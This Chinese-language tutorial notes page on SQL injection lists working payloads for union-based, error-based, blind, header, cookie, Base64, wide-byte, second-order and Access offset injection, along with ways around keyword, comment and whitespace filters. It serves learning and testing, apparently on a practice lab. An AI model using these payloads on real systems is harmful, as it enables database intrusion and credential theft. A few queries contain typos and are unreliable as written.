Web安全——SQL注入

SQL注入

原理

  • 用户可以构造特殊的输入来拼接到程序中执行,从而使得程序依据用户输入执行有可能存在恶意行为的代码。

MySQL数据库常用聚合函数

  • user()
  • database()
  • version()
  • updatexml(xml_document, xpath_string, new_value) (XML文档对象,XPath路径,替换数据)
  • extractvalue()
  • preg_replace(mixed $pattern , mixed $replacement , mixed $subject) (搜索模式,替换,源)
  • limit m, n

MySQL注释符

  • #
  • –空格 或 --+
  • /* */
  • /*! SQL语句 */ (内联注释,只有MySQL可以识别,常用来绕过WAF)

SQL注入分类

  • 根据位置分为两类:字符型、数字型

基于报错的SQL注入

  1. 利用order by判断字段数
    • select * from user order by 3
    • 注:以第三列作为排序
  2. 利用union select联合查询,获取表名
    • select * from user where id=‘0’’ union select 1, group_concat(table_name), 3 from information_scehma,table where table_schema=database() --+
    • 注:利用最前select报错,union后的查询做并集,查询所需数据
  3. 利用union select联合查询,获取字段名
    • select * from user where id=‘0’’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ --+
  4. 利用union select联合查询,获取字段值
    • select * from user where id=‘0’’ union select 1,group_concat(username,0x3a,password),3 from users–+

不再显示结果的盲注

  • 盲注:向数据库发送true或false,根据应用程序返回的信息判断结果。
  • 分类:布尔型、时间型

GET基于时间的盲注

  • if( ascii( substr( database(), 1, 1 )=115, 1, sleep(3) ) ):当数据库名第一个字母的ascii等于115时,执行一次sleep(3)

GET基于布尔的盲注

  • select length( databse() );

  • select substr( databse(), 1, 1 );

  • select ascii( substr( database(), 1, 1));

  • select ascii( substr( database() , 1, 1) ) > N;

  • select ascii( substr( database(), 1, 1) ) = N;

  • select ascii( substr( database(), 1, 1) ) < N;

POST基于错误的注入

  1. 抓包
  2. 通过报错,探查单、双引号包围

GET报错注入

  • 报错注入:两个嵌套的查询:select … (select …),先执行内层,再执行外层

  • rand():随机函数,返回0~1之间的某个值

  • floor(a):取整函数,返回小于a最大的整数

  • count():聚合函数、计数函数,返回查询对象的总数

  • group by:分组,按照查询结果分组

  • eg1:select count(*) from table group by floor(rand(0)*2);

  • eg2:获取数据库名

select * from user where id='0' 
union 
select 1,2,3 from (
    select count(\*), 
		concat( (select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1), 
		floor( rand(0) \* 2 ) ) x 
        from information_schema.tables 
​	    group by x
)a --+

SQL注入绕过技术

  • 大小写绕过
  • 双写绕过
  • 编码绕过(URL编码)
  • 内联注释绕过(/*! */)

POST基于时间和布尔的盲注

  1. 时间:在注入点参数后加:and if ( length(database())>5, sleep(5), null )
  2. 布尔:
    1. select length(databse());
    2. select substr(databse(),1,1);
    3. select ascii(substr(database(),1,1));
    4. select ascii(substr(database(),1,1)) > N;
    5. select ascii(substr(database(),1,1)) = N;
    6. select ascii(substr(database(),1,1)) < N;

HTTP头部中的SQL注入

  1. User-Agent注入:“INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ($uagent, $IP, $uname)”
  2. Referer注入:’ or (length(database())) >8 or if(1=1, sleep(5), null) or ‘1’ = '1

Update语句注入

  • UPDATEtable_name SET field1=new-value1, field2=new-value2 [ WHERE clause ]
  • uname=admin&passwd=admin’ or updatexml(1, concat(0x73, version(), 0x7e), 1) #&submit=Submit

Cookie注入

  • 代码中使用Cookie传递参数,但是没有对Cookie中传递的参数进行过滤操作。导致SQL注入漏洞的产生。
  • 抓包后,修改cookie

Base64编码注入

  • Base64编码是从二进制到字符的过程,可用于在HTTP环境下传递较长的标识信息。Base64是网络上最常见的用于传输8Bit字节码的编码方式之一,Base64就是一种基于64个可打印字符来表示二进制数据的方法。
  • 将原始内容转换为二进制,从左到右依次取6位,然后在最高位补两位0,形成新的内容。
  • 编码规则:
    1. 把3个字符变成4个字符;
    2. 每76个字符加一个换行符;
    3. 最后的结束符也要处理;
      Web安全——SQL注入_第1张图片
  • 使用Base64加密的注入语句,插入到Cookie对应的位置完成SQL注入漏洞的探测。
  • eg:IiBvciAxPTEgIw== 明文 " or 1=1 #

绕过去除注释符的SQL注入

  • 对于正常的SQL语句中,注释符起到说明作用的功能。但是对于在利用SQL注入漏洞过程中,注释符起到闭合 单引号、多单引号、双引号、单括号、多括号的功能。
  • 如果注释符被过滤,不能成功闭合单引号等,则用 ` or ‘1’='1` 闭合单引号等。

绕过剔除and和or的SQL

  • 基础知识
    1. MySQL中大小写不敏感
    2. MySQL中的十六进制与URL编码
    3. 符号和关键字替换:and – &&、or – ||
    4. 内联指示与多行注释 /*! 内敛注释 */ /* 多行注释 */
  • 使用preg_replace(mixed $pattern , mixed $replacement , mixed $subject),执行一个正则表达式的搜索和替换
  • 绕过:
    1. 大小写变形
    2. 敏感词汇中添加注释,eg:a/**/nd
    3. 双写绕过,eg:oorr
    4. 利用符号替换:and <=> &&、or<=>||

绕过剔除空格的SQL注入

  • MySQL中会自动识别URL和Hex编码好的内容
  • 常见:%0a:换行、%09:TAB键(水平)、%0c:新的一页、%0d:return、%0b:TAb键(垂直)

绕过剔除黑名单(union和select)的SQL注入

  • 大小写混淆、双写绕过

宽字节SQL注入

  • 宽字节:GBK占用两字节、ASCII占用一字节

  • PHP中编码为GBK,函数执行添加的是ASCII编码,MySQL默认字符集是GBK等宽字节字符集

  • %DF’ :会被PHP当中的addslashes函数转义为“%DF\’” ,“\”既URL里的“%5C”,那么也就是说,“%DF’”会被转成“%DF%5C%27”倘若网站的字符集是GBK,MYSQL使用的编码也是GBK的话,就会认为“%DF%5C%27”是一个宽字符。也就是“縗’”

  • 代码分析:
    Web安全——SQL注入_第2张图片

    • id=%df’ --+
    • 最常使用的宽字节注入是利用%df,其实我们只要第一个ascii码大于128就可以了,
    • 比如ascii码为129的就可以,但是我们怎么将他转换为URL编码呢,其实很简单,我们先将129(十进制)转换为十六进制,为0x81,然后在十六进制前面加%即可,即为%81
    • GBK首字节对应0×81-0xFE,尾字节对应0×40-0xFE(除0×7F)

二次注入

Web安全——SQL注入_第3张图片

  • 流程:
    1. 注册用户admin – 。
    2. 修改密码,查看数据库内容。
  • 危害:
    1. 触发二次SQL注入
    2. 触发XSS攻击

Access数据库

  • Access只用表的概念

  • 偏移注入利用:

  • 借用数据库的自连接查询,让数据库内部发生乱序,从而便宜出所需要的字段在页面上显示。

  • 场景:知道Access中,知道表名,但不知道字段的SQL注入困境,字段名取名复杂。暴力破解字段名不成功

  • 流程:

    1. 判断字段数:order by
    2. 判断表名:使用union select * from表名来获取
    3. 开始偏移注入,利用注入公式
  • 公式:order by 出的字段数 减去 *号的字段数,然后载用order by的字段数 减去 2倍刚才导出的答案

    eg:18 - 11 = 7,18 - 7 * 2 = 4

  • eg:

    1. http://xxx.com/test.asp?id=688 union select 1,2,3,4,a.id,b.id,* from (sys_admin as a inner join sys_admin as b on a.id = b.id)

    2. 这里union select 1,2,3,4:顾名思义就是刚才得出来的长度。

      后面的是SQL,可作公式。

    3. http://192.168.1.110/Production/PRODUCT_DETAIL.asp?id=1513+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+admin

      http://192.168.1.110/Production/PRODUCT_DETAIL.asp?id=1513+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,*+from+admin

      22-16 = 6 22-6*2 = 10

      http://192.168.1.110/Production/PRODUCT_DETAIL.asp?id=1513+union+select+1,2,3,4,5,6,7,8,9,10,a.id,b.id,*+from+(admin+as+a+inner+join+admin+as+b+on+a.id=b.id)

你可能感兴趣的:(web安全,sql,数据库)